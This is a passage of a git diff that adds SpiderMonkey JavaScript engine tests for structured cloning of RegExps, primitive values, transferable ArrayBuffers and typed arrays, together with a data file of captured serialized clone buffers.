+
+function testRegExp(b, c=b) {
+ var a = deserialize(serialize(b));
+ assertEq(a === b, false);
+ assertEq(Object.getPrototypeOf(a), RegExp.prototype);
+ assertEq(Object.prototype.toString.call(a), "[object RegExp]");
+ for (p in a)
+ throw new Error("cloned RegExp should have no enumerable properties");
+
+ assertEq(a.source, c.source);
+ assertEq(a.global, c.global);
+ assertEq(a.ignoreCase, c.ignoreCase);
+ assertEq(a.multiline, c.multiline);
+ assertEq(a.sticky, c.sticky);
+ assertEq("expando" in a, false);
+}
+
+testRegExp(RegExp(""));
+testRegExp(/(?:)/);
+testRegExp(/^(.*)$/gimy);
+testRegExp(RegExp.prototype);
+
+var re = /\bx\b/gi;
+re.expando = true;
+testRegExp(re);
+// `source` and the flag accessors are defined on RegExp.prototype, so they're
+// not available after re.__proto__ has been changed. We solve that by passing
+// in an additional copy of the same RegExp to compare the
+// serialized-then-deserialized clone with."
+re.__proto__ = {};
+testRegExp(re, /\bx\b/gi);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-simple.js b/js/src/tests/js1_8_5/extensions/clone-simple.js
new file mode 100644
index 000000000..b7684dd02
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-simple.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testEq(b) {
+ var a = deserialize(serialize(b));
+ assertEq(a, b);
+}
+
+testEq(void 0);
+testEq(null);
+
+testEq(true);
+testEq(false);
+
+testEq(0);
+testEq(-0);
+testEq(1/0);
+testEq(-1/0);
+testEq(0/0);
+testEq(Math.PI);
+
+testEq("");
+testEq("\0");
+testEq("a"); // unit string
+testEq("ab"); // length-2 string
+testEq("abc\0123\r\n"); // nested null character
+testEq("\xff\x7f\u7fff\uffff\ufeff\ufffe"); // random unicode stuff
+testEq("\ud800 \udbff \udc00 \udfff"); // busted surrogate pairs
+testEq(Array(1024).join(Array(1024).join("x"))); // 2MB string
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-transferables.js b/js/src/tests/js1_8_5/extensions/clone-transferables.js
new file mode 100644
index 000000000..673684b95
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-transferables.js
@@ -0,0 +1,112 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function* buffer_options() {
+ for (var scope of ["SameProcessSameThread", "SameProcessDifferentThread", "DifferentProcess"]) {
+ for (var size of [0, 8, 16, 200, 1000, 4096, 8192, 65536]) {
+ yield { scope, size };
+ }
+ }
+}
+
+
+function test() {
+ for (var {scope, size} of buffer_options()) {
+ var old = new ArrayBuffer(size);
+ var copy = deserialize(serialize([old, old], [old], { scope }), { scope });
+ assertEq(old.byteLength, 0);
+ assertEq(copy[0] === copy[1], true);
+ copy = copy[0];
+ assertEq(copy.byteLength, size);
+
+ var constructors = [ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray,
+ DataView ];
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ assertEq(buf.byteLength, size);
+ assertEq(buf, old_arr.buffer);
+ if (!dataview)
+ assertEq(old_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ if (!dataview) {
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+ assertEq(copy_arr.buffer.byteLength == size, true);
+ if (!dataview)
+ assertEq(copy_arr.length, size / old_arr.BYTES_PER_ELEMENT);
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ for (var ctor of constructors) {
+ var dataview = (ctor === DataView);
+
+ var buf = new ArrayBuffer(size);
+ var old_arr = new ctor(buf);
+ var dv = new DataView(buf); // Second view
+ var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope });
+ assertEq(buf.byteLength, 0,
+ "donor array buffer should be detached");
+ assertEq(old_arr.byteLength, 0,
+ "donor typed array should be detached");
+ if (!dataview) {
+ assertEq(old_arr.length, 0,
+ "donor typed array should be detached");
+ }
+ assertEq(dv.byteLength, 0,
+ "all views of donor array buffer should have zero " +
+ "length because their underlying buffer is detached");
+
+ buf = null;
+ old_arr = null;
+ gc(); // Tickle the ArrayBuffer -> view management
+ }
+
+ // Mutate the buffer during the clone operation. The modifications should be visible.
+ if (size >= 4) {
+ old = new ArrayBuffer(size);
+ var view = new Int32Array(old);
+ view[0] = 1;
+ var mutator = { get foo() { view[0] = 2; } };
+ var copy = deserialize(serialize([ old, mutator ], [ old ], { scope }), { scope });
+ var viewCopy = new Int32Array(copy[0]);
+ assertEq(view.length, 0); // Underlying buffer now detached.
+ assertEq(viewCopy[0], 2);
+ }
+
+ // Detach the buffer during the clone operation. Should throw an
+ // exception.
+ if (size >= 4) {
+ old = new ArrayBuffer(size);
+ var mutator = {
+ get foo() {
+ deserialize(serialize(old, [old], { scope }), { scope });
+ }
+ };
+ // The throw is not yet implemented, bug 919259.
+ //var copy = deserialize(serialize([ old, mutator ], [old]));
+ }
+ }
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-typed-array.js b/js/src/tests/js1_8_5/extensions/clone-typed-array.js
new file mode 100644
index 000000000..77f0376e9
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-typed-array.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Two TypedArrays backed by the same ArrayBuffer should be cloned into two
+ // TypedArrays still sharing a buffer. This also tests cloning TypedArrays
+ // where the arr->data pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, -2, 3])); // not shared with base, shared with a[0]
+
+ assertEq(b[0].buffer, b[1].buffer);
+ assertEq(b[1].byteOffset, 1);
+ assertEq(b[1].byteLength, 3);
+ assertEq(b[1].buffer.byteLength, 4);
+
+ // ArrayBuffer clones do not preserve properties
+
+ base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ base.buffer.prop = "yes";
+ base.buffer.loop = b[0];
+ base.buffer.loops = [ b[0], b[1] ];
+ a = deserialize(serialize(b));
+ assertEq("prop" in a[0].buffer, false);
+ assertEq("prop" in a[1].buffer, false);
+ assertEq("loop" in a[0].buffer, false);
+ assertEq("loop" in a[1].buffer, false);
+ assertEq("loops" in a[0].buffer, false);
+ assertEq("loops" in a[1].buffer, false);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat
new file mode 100644
index 000000000..9ced34100
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat
@@ -0,0 +1,32 @@
+var captured = [];
+captured[0] = serialize(0); captured[0].clonebuffer = String.fromCharCode(0, 0, 0, 0, 9, 0, 255, 255);
+captured[1] = serialize(0); captured[1].clonebuffer = String.fromCharCode(7, 0, 0, 0, 9, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[2] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[3] = serialize(0); captured[3].clonebuffer = String.fromCharCode(0, 0, 0, 0, 0, 1, 255, 255);
+captured[4] = serialize(0); captured[4].clonebuffer = String.fromCharCode(100, 0, 0, 0, 0, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[5] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[6] = serialize(0); captured[6].clonebuffer = String.fromCharCode(0, 0, 0, 0, 1, 1, 255, 255);
+captured[7] = serialize(0); captured[7].clonebuffer = String.fromCharCode(100, 0, 0, 0, 1, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[8] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[9] = serialize(0); captured[9].clonebuffer = String.fromCharCode(0, 0, 0, 0, 2, 1, 255, 255);
+captured[10] = serialize(0); captured[10].clonebuffer = String.fromCharCode(100, 0, 0, 0, 2, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[11] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[12] = serialize(0); captured[12].clonebuffer = String.fromCharCode(0, 0, 0, 0, 3, 1, 255, 255);
+captured[13] = serialize(0); captured[13].clonebuffer = String.fromCharCode(100, 0, 0, 0, 3, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[14] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[15] = serialize(0); captured[15].clonebuffer = String.fromCharCode(0, 0, 0, 0, 4, 1, 255, 255);
+captured[16] = serialize(0); captured[16].clonebuffer = String.fromCharCode(100, 0, 0, 0, 4, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[17] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[18] = serialize(0); captured[18].clonebuffer = String.fromCharCode(0, 0, 0, 0, 5, 1, 255, 255);
+captured[19] = serialize(0); captured[19].clonebuffer = String.fromCharCode(100, 0, 0, 0, 5, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[20] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[21] = serialize(0); captured[21].clonebuffer = String.fromCharCode(0, 0, 0, 0, 6, 1, 255, 255);
+captured[22] = serialize(0); captured[22].clonebuffer = String.fromCharCode(100, 0, 0, 0, 6, 1, 255, 255, 0, 0, 128, 63, 0, 0, 224, 64, 0, 0, 68, 66, 0, 128, 171, 67, 0, 16, 22, 69, 0, 78, 131, 70, 128, 200, 229, 71, 112, 15, 73, 73, 130, 237, 175, 74, 210, 239, 25, 76, 216, 177, 134, 77, 57, 183, 235, 78, 82, 64, 78, 80, 72, 120, 180, 81, 63, 233, 29, 83, 23, 44, 138, 84, 40, 205, 241, 85, 131, 147, 83, 87, 19, 33, 185, 88, 240, 252, 33, 90, 82, 189, 141, 91, 80, 11, 248, 92, 230, 9, 89, 94, 169, 232, 189, 95, 148, 43, 38, 97, 34, 102, 145, 98, 187, 114, 254, 99, 100, 164, 94, 101, 215, 207, 194, 102, 220, 117, 42, 104, 33, 39, 149, 105, 61, 130, 2, 107, 234, 99, 100, 108, 109, 215, 199, 109, 127, 220, 46, 111, 239, 0, 153, 112, 209, 224, 5, 114, 110, 73, 106, 115, 65, 0, 205, 116, 57, 96, 51, 118, 49, 244, 156, 119, 171, 85, 9, 121, 236, 85, 112, 122, 46, 75, 210, 123, 200, 1, 56, 125, 143, 1, 161, 126, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 192, 127);
+captured[23] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[24] = serialize(0); captured[24].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 1, 255, 255);
+captured[25] = serialize(0); captured[25].clonebuffer = String.fromCharCode(100, 0, 0, 0, 7, 1, 255, 255, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0, 28, 64, 0, 0, 0, 0, 0, 128, 72, 64, 0, 0, 0, 0, 0, 112, 117, 64, 0, 0, 0, 0, 0, 194, 162, 64, 0, 0, 0, 0, 192, 105, 208, 64, 0, 0, 0, 0, 16, 185, 252, 64, 0, 0, 0, 0, 238, 33, 41, 65, 0, 0, 0, 64, 176, 253, 85, 65, 0, 0, 0, 56, 250, 61, 131, 65, 0, 0, 0, 241, 58, 214, 176, 65, 0, 0, 192, 37, 231, 118, 221, 65, 0, 0, 8, 65, 10, 200, 9, 66, 0, 0, 231, 248, 8, 143, 54, 66, 0, 32, 202, 217, 39, 189, 99, 66, 0, 220, 144, 222, 130, 69, 145, 66, 0, 129, 125, 5, 165, 57, 190, 66, 224, 208, 205, 100, 112, 114, 234, 66, 196, 22, 52, 88, 34, 36, 23, 67, 236, 147, 45, 13, 158, 63, 68, 67, 110, 225, 135, 75, 170, 183, 113, 67, 128, 202, 45, 4, 106, 1, 159, 67, 48, 17, 168, 195, 60, 33, 203, 67, 10, 15, 51, 43, 21, 189, 247, 67, 41, 173, 204, 133, 114, 197, 36, 68, 132, 23, 19, 53, 196, 44, 82, 68, 39, 105, 225, 92, 87, 206, 127, 68, 2, 60, 69, 113, 140, 212, 171, 68, 130, 148, 28, 227, 250, 89, 216, 68, 242, 1, 185, 134, 187, 78, 5, 69, 180, 225, 225, 21, 228, 164, 50, 69, 126, 165, 37, 147, 71, 80, 96, 69, 156, 225, 129, 65, 125, 140, 140, 69, 104, 165, 81, 153, 237, 250, 184, 69, 187, 112, 39, 230, 143, 219, 229, 69, 164, 130, 98, 233, 29, 32, 19, 70, 80, 50, 54, 44, 26, 188, 64, 70, 12, 216, 94, 205, 45, 73, 109, 70, 10, 253, 178, 19, 8, 160, 153, 70, 105, 157, 60, 17, 7, 108, 198, 70, 188, 9, 21, 47, 134, 158, 243, 70, 132, 104, 50, 105, 181, 42, 33, 71, 231, 54, 24, 120, 189, 10, 78, 71, 10, 48, 21, 201, 101, 73, 122, 71, 9, 138, 242, 15, 57, 0, 167, 71, 200, 56, 244, 237, 49, 32, 212, 71, 175, 177, 53, 176, 43, 156, 1, 72, 242, 246, 93, 116, 76, 209, 46, 72, 20, 56, 210, 229, 34, 247, 90, 72, 18, 241, 23, 137, 62, 152, 135, 72, 240, 242, 244, 183, 54, 165, 180, 72, 146, 84, 246, 224, 143, 16, 226, 72, 0, 20, 175, 201, 251, 156, 15, 73, 128, 49, 121, 80, 92, 169, 59, 73, 80, 11, 106, 198, 48, 52, 104, 73, 230, 201, 156, 173, 170, 45, 149, 73, 169, 48, 233, 87, 245, 135, 194, 73, 148, 10, 236, 172, 246, 54, 240, 73, 131, 18, 157, 174, 47, 96, 28, 74, 51, 112, 201, 184, 41, 212, 72, 74, 45, 66, 176, 129, 164, 185, 117, 74, 231, 57, 122, 241, 111, 2, 163, 74, 170, 242, 74, 243, 33, 162, 208, 74, 170, 40, 195, 105, 187, 27, 253, 74, 149, 195, 138, 252, 67, 120, 41, 75, 34, 107, 249, 124, 59, 73, 86, 75, 190, 61, 90, 13, 20, 128, 131, 75, 6, 246, 174, 139, 17, 16, 177, 75, 138, 46, 114, 180, 30, 220, 221, 75, 185, 232, 227, 221, 154, 32, 10, 76, 162, 107, 39, 130, 135, 220, 54, 76, 46, 126, 226, 145, 246, 0, 100, 76, 104, 46, 166, 191, 215, 128, 145, 76, 54, 209, 98, 143, 121, 161, 190, 76, 15, 119, 118, 93, 74, 205, 234, 76, 45, 168, 199, 17, 161, 115, 23, 77, 39, 179, 142, 239, 44, 133, 68, 77, 194, 220, 156, 81, 135, 244, 113, 77, 84, 130, 210, 206, 236, 107, 159, 77, 10, 50, 248, 52, 111, 126, 203, 77, 201, 43, 89, 78, 161, 14, 248, 77, 80, 6, 142, 36, 205, 12, 37, 78, 134, 69, 252, 127, 51, 107, 82, 78, 213, 188, 252, 15, 205, 29, 128, 78, 117, 74, 250, 219, 38, 52, 172, 78, 38, 1, 123, 0, 162, 173, 216, 78, 1, 161, 107, 192, 237, 151, 5, 79, 225, 44, 94, 8, 240, 228, 50, 79, 69, 103, 82, 7, 82, 136, 96, 79, 185, 52, 208, 140, 143, 238, 140, 79, 34, 46, 54, 155, 189, 80, 185, 79, 94, 104, 207, 231, 165, 38, 230, 79, 82, 123, 213, 42, 209, 97, 19, 80, 232, 203, 122, 5, 151, 245, 64, 80, 214, 228, 150, 73, 200, 173, 109, 80, 59, 8, 100, 64, 15, 248, 153, 80, 52, 135, 87, 88, 13, 185, 198, 80, 78, 150, 76, 173, 235, 225, 243, 80, 132, 3, 163, 55, 174, 101, 33, 81, 0, 0, 0, 0, 0, 0, 248, 127);
+captured[26] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[27] = serialize(0); captured[27].clonebuffer = String.fromCharCode(0, 0, 0, 0, 8, 1, 255, 255);
+captured[28] = serialize(0); captured[28].clonebuffer = String.fromCharCode(100, 0, 0, 0, 8, 1, 255, 255, 1, 7, 49, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0);
+captured[29] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[30] = serialize(0); captured[30].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 0, 255, 255, 0, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 0, 1, 2, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255);
diff --git a/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js
new file mode 100644
index 000000000..e8ba16355
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js
@@ -0,0 +1,130 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
